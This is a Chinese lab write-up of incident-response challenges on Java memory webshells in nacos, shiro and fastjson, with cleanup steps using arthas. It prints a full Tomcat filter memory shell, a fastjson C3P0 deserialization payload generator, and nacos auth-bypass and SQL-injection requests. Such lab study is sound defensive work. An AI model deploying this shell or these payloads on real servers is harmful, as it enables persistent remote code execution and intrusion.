玄机应急响应靶场 - 内存马分析WP

admin 2024年6月11日10:22:27评论52 views字数 14760阅读49分12秒阅读模式

玄机应急响应靶场 - 内存马分析WP

此文章原创作者为源鲁安全实验室,转载请注明出处!此文章中所涉及的技术、思路和工具仅供网络安全学习为目的,不得以盈利为目的或非法利用,否则后果自行承担!

玄机应急响应靶场 - 内存马分析WP

00

前言

    前几天得到了玄机应急响应靶场的邀请码,刷了几个题目,偏ctf类型,本篇将分享三道玄机靶场第八章中内存马分析题目(nacos/shiro/fastjson)的解题思路。

(文末有福利╰(*°▽°*)╯)

01

内存分析-java01-nacos 

1.1

问题1

nacos 用户密码的密文值作为flag提交 flag{密文}

    根据题目描述,连接ssh后需在/var/local下运行autorun.sh以启动nacos服务。在/var/local目录下存在nacos目录,在nacos/conf/目录下发现nacos-mysql.sql,从中发现了加密的nacos密码$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu。

玄机应急响应靶场 - 内存马分析WP

得到flag{$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu}

1.2

问题2

shiro的key为多少shiro的key请记录下来 (备注请记录下,可能有用)

    在nacos目录下存在一个nacos_config_xxx的zip文件,下载到本地后解压后DEFAULT_GROUP文件下存在三个文件 ADMIN_API、ADMIN_CONFIG、GATEWAY。在ADMIN_CONFIG中发现shiro配置,其中key为 KduO0i+zUIMcNNJnsZwU9Q==。

故得到flag{KduO0i+zUIMcNNJnsZwU9Q==}

玄机应急响应靶场 - 内存马分析WP

1.3

问题3

靶机内核版本为 flag{}

 uname -a  查看系统内核版本

玄机应急响应靶场 - 内存马分析WP

得到flag{5.4.0-164-generic}

1.4

问题4

尝试应急分析,运行get_flag然后尝试 check_flag通过后提交flag

find . -name get_flag 找到get_flag文件,题目说是要应急之后执行,直接执行看看:

玄机应急响应靶场 - 内存马分析WP

    看样子应该就是getflag检查是否应急成功了,check_flag来检查flag是否正确。

    先查看/etc/passwd:

玄机应急响应靶场 - 内存马分析WP     有两个uid为0的用户,这种基本上就是后门用户了。Userdel bt删除该用户看计划任务文件,删除rm -rf这一行:

玄机应急响应靶场 - 内存马分析WP

    最后运行get_flag,check_flag:

玄机应急响应靶场 - 内存马分析WP

1.5

问题5

尝试修复nacos并且自行用poc测试是否成功

   通过扫描器进行扫描发现nacos2个漏洞,分别为nacos弱口令和未授权访问绕过漏洞。登录后台后发现nacos版本为2.0.1,该版本下存在较多漏洞需要进行修复【在实际打exp时只成功了以下几个漏洞】

玄机应急响应靶场 - 内存马分析WP

  1. nacos默认口令

玄机应急响应靶场 - 内存马分析WP

2.未授权API

http://x.x.x.x:8848/nacos/v1/auth/users?pageNo=1&pageSize=1

用户信息 /nacos/v1/auth/users?pageNo=1&pageSize=9 

玄机应急响应靶场 - 内存马分析WP

3.SQL注入
http://x.x.x.x:8848/nacos/v1/cs/ops/derby?sql=select+*+from+sys.systables

玄机应急响应靶场 - 内存马分析WP

4.认证绕过/用户创建 CVE-2021-29441

    尝试以 POST 方式创建新用户whoami

     POST /v1/auth/users HTTP/1.1 username=whoami&password=whoami

玄机应急响应靶场 - 内存马分析WP

玄机应急响应靶场 - 内存马分析WP

修复方案:

  1. 默认口令可通过修改密码解决

玄机应急响应靶场 - 内存马分析WP

2.开启鉴权

    修改 Nacos 的 application.properties 配置文件,开启服务身份识别功能,配置后访问 /nacos/v1/auth/users/?pageNo=1&pageSize=9 路由将返回 403 Forbidden。

# 开启鉴权
nacos.core.auth.enabled=true
nacos.core.auth.enable.userAgentAuthWhite=false
nacos.core.auth.server.identity.key=YOUR-KEY
nacos.core.auth.server.identity.value=YOUR-VALUE

3.对外限制开放7848端口

修复后实际效果如下,存在该版本nacos下漏洞得到有效缓解:

玄机应急响应靶场 - 内存马分析WP

玄机应急响应靶场 - 内存马分析WP

02

内存分析-java02-shiro

2.1

问题1

将shiro的key作为flag提交

    根据从前文中nacos中获取到shiro key 也可通过工具爆破得到key

玄机应急响应靶场 - 内存马分析WP

flag{KduO0i+zUIMcNNJnsZwU9Q==}

2.2

问题2

隐藏用户后删除,并将隐藏用户名作为flag提交

通过shiro反序列化利用工具连接到存在shiro漏洞的服务器中,连接后为root权限,直接cat /etc/passwd查看账号

玄机应急响应靶场 - 内存马分析WP

    发现隐藏账号 guest,故得到flag{guest}

2.3

问题3

分析app.jar文件是否存在后门,并把后门路由名称作为 flag 提交 <flag{/manager}>

find . -name app.jar 找到app.jar所在位置

玄机应急响应靶场 - 内存马分析WP

注入内存马后冰蝎连接 下载下来app.jar通过jadx进行分析。

玄机应急响应靶场 - 内存马分析WP

在shiro的 controller下的UserController在发现后门,其对应路由为/exec,故flag{/exec}

玄机应急响应靶场 - 内存马分析WP

2.4

问题4

分析app.jar文件,将后门的密码作为flag提交

    参数cmd为后门密码

玄机应急响应靶场 - 内存马分析WP

访问可以连接到后门 说明该flag正确

玄机应急响应靶场 - 内存马分析WP

flag{cmd}

03

内存分析-java03-fastjson

3.1

问题1

将fastjson版本作为flag提交

    根剧题目描述 需自己手打一遍,扫描端口后发现8088端口开放 访问web页面

玄机应急响应靶场 - 内存马分析WP

利用AutoCloseable精确探测版本号
{
"@type": "java.lang.AutoCloseable"
需unicode编码后 才可看到fastjson版本报错,版本为 1.2.47

玄机应急响应靶场 - 内存马分析WP

故flag{1.2.47}

3.2

问题2

内核版本为flag提交flag{x.x.x.x}

用JdbcRowSetImpl链无法执行命令,原因似乎是jdk版本过高。可以使用C3P0链直接注入内存马,代码如下:
package vultarget;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.Base64;import java.util.HashMap;import java.util.Map;import javax.crypto.Cipher;import javax.crypto.spec.SecretKeySpec;import javax.servlet.DispatcherType;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession;import org.apache.catalina.Context;import org.apache.catalina.core.ApplicationFilterConfig;import org.apache.catalina.core.StandardContext;import org.apache.catalina.loader.WebappClassLoaderBase;import org.apache.tomcat.util.descriptor.web.FilterDef;import org.apache.tomcat.util.descriptor.web.FilterMap;import sun.misc.BASE64Decoder;public class IFRain extends AbstractTranslet implements Filter {    private final String pa = "3ad2fddfe8bad8e6";    public IFRain() {    }    public void init(FilterConfig filterConfig) throws ServletException {    }    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {        HttpServletRequest request = (HttpServletRequest) servletRequest;        HttpServletResponse response = (HttpServletResponse) servletResponse;        HttpSession session = request.getSession();        Map<String, Object> pageContext = new HashMap<>();        pageContext.put("session", session);        pageContext.put("request", request);        pageContext.put("response", response);        ClassLoader cl = Thread.currentThread().getContextClassLoader();        if (request.getMethod().equals("POST")) {            Class<?> Lclass;            if (cl.getClass().getSuperclass().getName().equals("java.lang.ClassLoader")) {                Lclass = cl.getClass().getSuperclass();                this.RushThere(Lclass, cl, session, request, pageContext);            } else if (cl.getClass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {                Lclass = cl.getClass().getSuperclass().getSuperclass();                this.RushThere(Lclass, cl, session, request, pageContext);            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass();                this.RushThere(Lclass, cl, session, request, pageContext);            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();                this.RushThere(Lclass, cl, session, request, pageContext);            } else if (cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getName().equals("java.lang.ClassLoader")) {                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();                this.RushThere(Lclass, cl, session, request, pageContext);            } else {                Lclass = cl.getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();                this.RushThere(Lclass, cl, session, request, pageContext);            }            filterChain.doFilter(servletRequest, servletResponse);        }    }    public void destroy() {    }    public void RushThere(Class<?> Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map<String, Object> pageContext) {        byte[] bytecode = Base64.getDecoder().decode(                "yv66vgAAADQAGgoABAAUCgAEABUHABYHABcBAAY8aW5pdD4BABooTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADTFU7AQABYwEAF0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABZwEAFShbQilMamF2YS9sYW5nL0NsYXNzOwEAAWIBAAJbQgEAClNvdXJjZUZpbGUBAAZVLmphdmEMAAUABgwAGAAZAQABVQEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAC2RlZmluZUNsYXNzAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQADAAQAAAAAAAIAAAAFAAYAAQAHAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAIAAAABgABAAAAAgAJAAAAFgACAAAABgAKAAsAAAAAAAYADAANAAEAAQAOAA8AAQAHAAAAPQAEAAIAAAAJKisDK763AAKwAAAAAgAIAAAABgABAAAAAwAJAAAAFgACAAAACQAKAAsAAAAAAAkAEAARAAEAAQASAAAAAgAT"        );        try {            Method define = Lclass.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);            define.setAccessible(true);            Class<?> uclass = null;            try {                uclass = cl.loadClass("U");            } catch (ClassNotFoundException e) {                uclass = (Class<?>) define.invoke(cl, bytecode, 0, bytecode.length);            }            Constructor<?> constructor = uclass.getDeclaredConstructor(ClassLoader.class);            constructor.setAccessible(true);            Object u = constructor.newInstance(this.getClass().getClassLoader());            Method Um = uclass.getDeclaredMethod("g", byte[].class);            Um.setAccessible(true);            String k = "3ad2fddfe8bad8e6";            session.setAttribute("u", k);            Cipher c = Cipher.getInstance("AES");            c.init(Cipher.DECRYPT_MODE, new SecretKeySpec(k.getBytes(), "AES"));            byte[] eClassBytes = c.doFinal(new BASE64Decoder().decodeBuffer(request.getReader().readLine()));            Class<?> eclass = (Class<?>) Um.invoke(u, eClassBytes);            Object a = eclass.newInstance();            Method b = eclass.getDeclaredMethod("equals", Object.class);            b.setAccessible(true);            b.invoke(a, pageContext);        } catch (Exception e) {            e.printStackTrace();        }    }    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }    static {        try {            String name = "AutomneGreet";            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();            Field Configs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");            Configs.setAccessible(true);            Map<String, ApplicationFilterConfig> filterConfigs = (Map<String, ApplicationFilterConfig>) Configs.get(standardContext);            if (filterConfigs.get(name) == null) {                Filter filter = new IFRain();                FilterDef filterDef = new FilterDef();                filterDef.setFilter(filter);                filterDef.setFilterName(name);                filterDef.setFilterClass(filter.getClass().getName());                standardContext.addFilterDef(filterDef);                FilterMap filterMap = new FilterMap();                filterMap.addURLPattern("/shell");                filterMap.setFilterName(name);                filterMap.setDispatcher(DispatcherType.REQUEST.name());                standardContext.addFilterMapBefore(filterMap);                Constructor<ApplicationFilterConfig> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);                constructor.setAccessible(true);                ApplicationFilterConfig filterConfig = constructor.newInstance(standardContext, filterDef);                filterConfigs.put(name, filterConfig);            }        } catch (Exception e) {            e.printStackTrace();        }    }}
    生成payload的代码如下:
package util;import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import vultarget.IFRain;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.io.InputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;public class endPayload {    public static void main(String[] args) throws Exception {        String hex2 = bytesToHex(tobyteArray(gen()));        String resultPayload = "{n" +                "    "a":{n" +                "        "\u0040\u0074\u0079\u0070\u0065":"java.lang.Class",n" +                "        "val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"n" +                "    },n" +                "    "b":{n" +                "        "\u0040\u0074\u0079\u0070\u0065":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",n" +                "        "\u0075\u0073\u0065\u0072\u004F\u0076\u0065\u0072\u0072\u0069\u0064\u0065\u0073\u0041\u0073\u0053\u0074\u0072\u0069\u006E\u0067":"HexAsciiSerializedMap:" + hex2 + ";",n" +                "    }n" +                "}n";        System.out.println(resultPayload);    }    public static byte[] getClassBytecode(Class<?> clazz) throws Exception {        String className = clazz.getName().replace('.', '/') + ".class";        InputStream inputStream = clazz.getClassLoader().getResourceAsStream(className);        if (inputStream == null) {            throw new ClassNotFoundException("Class not found: " + className);        }        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        int data = inputStream.read();        while (data != -1) {            byteArrayOutputStream.write(data);            data = inputStream.read();        }        inputStream.close();        return byteArrayOutputStream.toByteArray();    }    // FastJson原生反序列化加载恶意类字节码    public static Object gen() throws Exception {        TemplatesImpl templates = TemplatesImpl.class.newInstance();        byte[] bytecode = getClassBytecode(IFRain.class);        setValue(templates, "_bytecodes", new byte[][]{bytecode});        setValue(templates, "_name", "1");        setValue(templates, "_tfactory", null);        JSONArray jsonArray = new JSONArray();        jsonArray.add(templates);        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);        setValue(bd, "val", jsonArray);        HashMap hashMap = new HashMap();        hashMap.put(templates, bd);        return hashMap;    }    public static void setValue(Object obj, String name, Object value) throws Exception {        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }    // 将类序列化为字节数组    public static byte[] tobyteArray(Object o) throws IOException {        ByteArrayOutputStream bao = new ByteArrayOutputStream();        ObjectOutputStream oos = new ObjectOutputStream(bao);        oos.writeObject(o);        return bao.toByteArray();    }    // 字节数组转十六进制    public static String bytesToHex(byte[] bytes) {        StringBuffer stringBuffer = new StringBuffer();        for (int i = 0; i < bytes.length; i++) {            String hex = Integer.toHexString(bytes[i] & 0xff);            if (hex.length() < 2) {                stringBuffer.append("0" + hex); // 0-9 则在前面加 '0' ,保证2位避免后面读取错误            } else {                stringBuffer.append(hex);            }        }        return stringBuffer.toString();    }}

    运行之后获取payload,通过POST请求发送给服务端,服务端反序列化生成内存马,之后使用冰蝎连接即可。内存马路径为/shell,密码为goautomne,密钥为默认密钥(key)。

玄机应急响应靶场 - 内存马分析WP

uname -a 查看内核版本得到
flag{Debian 4.19.260-1 (2022-09-29) x86_64 GNU/Linux}
尝试直接弹shell但是失败了,感觉是靶机设置的问题【dnslog能通】

玄机应急响应靶场 - 内存马分析WP

    查看一下当前用户:

玄机应急响应靶场 - 内存马分析WP

    并且ssh是打开的:

玄机应急响应靶场 - 内存马分析WP

    既然这样,直接改密码然后ssh登录了。

玄机应急响应靶场 - 内存马分析WP

3.3

问题3

清除内存马(热清理)

    ssh登录,ls一下看到当前目录下就有arthas,看来作者是让用arthas来清除内存马了。

玄机应急响应靶场 - 内存马分析WP

java -jar运行arthas-boot.jar,之后选择需要attach的进程即可。
先查看一下当前的过滤器:

玄机应急响应靶场 - 内存马分析WP

这个过滤器名字比较异常,jad vultarget.IFRain,反编译查看该类:

玄机应急响应靶场 - 内存马分析WP

可以看到,这里就是我们注入的内存马了。
卸载内存马:
方法一:可以通过sc -d 类名 找到指定类的类加载器及其hash:

玄机应急响应靶场 - 内存马分析WP

     之后使用classloader --classloader <hash>来直接卸载该类加载器,也就卸载了该类加载器加载的类。

    【注:这种方法会卸载该类加载器加载的所有类,容易造成应用不稳定甚至崩溃,不建议使用】

    方法二:通过热加载重新加载同名的类,arthas就提供了retransform来加载外部的class文件。

    看一下,当前的内存马还是可以用的:

玄机应急响应靶场 - 内存马分析WP

    之后将上面jad反编译出来的代码保存,删除所有函数体,仅保留方法声明、字段Field声明:

package vultarget;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;import java.util.Map;import javax.servlet.Filter;import javax.servlet.FilterChain;import javax.servlet.FilterConfig;import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.ServletResponse;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpSession;public class IFRain extends AbstractTranslet implements Filter {    private final String pa = "3ad2fddfe8bad8e6";    public IFRain() {    }    public void init(FilterConfig filterConfig) throws ServletException {    }    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {    }    public void destroy() {    }    public void RushThere(Class<?> Lclass, ClassLoader cl, HttpSession session, HttpServletRequest request, Map<String, Object> pageContext) {    }    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }    static {    }}

    这样,该过滤器就是无害的了。

    之后编译生成该类的字节码,在arthas中执行:

玄机应急响应靶场 - 内存马分析WP

    【/root/vultarget/IFRain.class为重新编译过的无害的过滤器】    

    即可热加载该类。【由于arthas热加载的限制,不能增加/减少字段、方法等,因此需要保留类的框架】

玄机应急响应靶场 - 内存马分析WP

    再用jad查看一下该类,发现已经是经过无害化处理后的filter了:

玄机应急响应靶场 - 内存马分析WP

    热加载后,再用冰蝎连一下,发现连接失败了:

玄机应急响应靶场 - 内存马分析WP

3.4

问题4

清除后门(热清理)

    先排查了/etc/passwd文件、定时任务、开机启动项,没找到后门

玄机应急响应靶场 - 内存马分析WP

    之后ps -aux 看一下进程:

玄机应急响应靶场 - 内存马分析WP

    这里的 python -c import pty; pty.spawn("/bin/bash") 就是冰蝎自带的虚拟终端了:

玄机应急响应靶场 - 内存马分析WP

    这里直接把对应的进程杀掉:

玄机应急响应靶场 - 内存马分析WP

玄机应急响应靶场 - 内存马分析WP

    当然,这只是治标不治本的,如果需要修复,还需要升级fastjson的版本。

05

文末福利

    前十位读者关注公众号后,私聊后台凭截图可领取玄机应急响应靶场的邀请码哦~  

    数量有限,先到先得!

玄机应急响应靶场 - 内存马分析WP

END

玄机应急响应靶场 - 内存马分析WP

        1

关于源鲁安全实验室  
源鲁安全实验室,是一支以攻防研究为核心的安全团队,团队成员来源于一线攻防团队,安全研究团队。研究方向涉及WEB安全,APP安全,漏洞研究,代码审计,内网渗透,二进制,安全产品研究等多个领域,致力为客户提供一流的服务,保障客户业务安全。

来都来了,点个赞再走吧~~~

玄机应急响应靶场 - 内存马分析WP

原文始发于微信公众号(源鲁安全实验室):玄机应急响应靶场 - 内存马分析WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月11日10:22:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   玄机应急响应靶场 - 内存马分析WPhttps://cn-sec.com/archives/2811865.html

发表评论

匿名网友 填写信息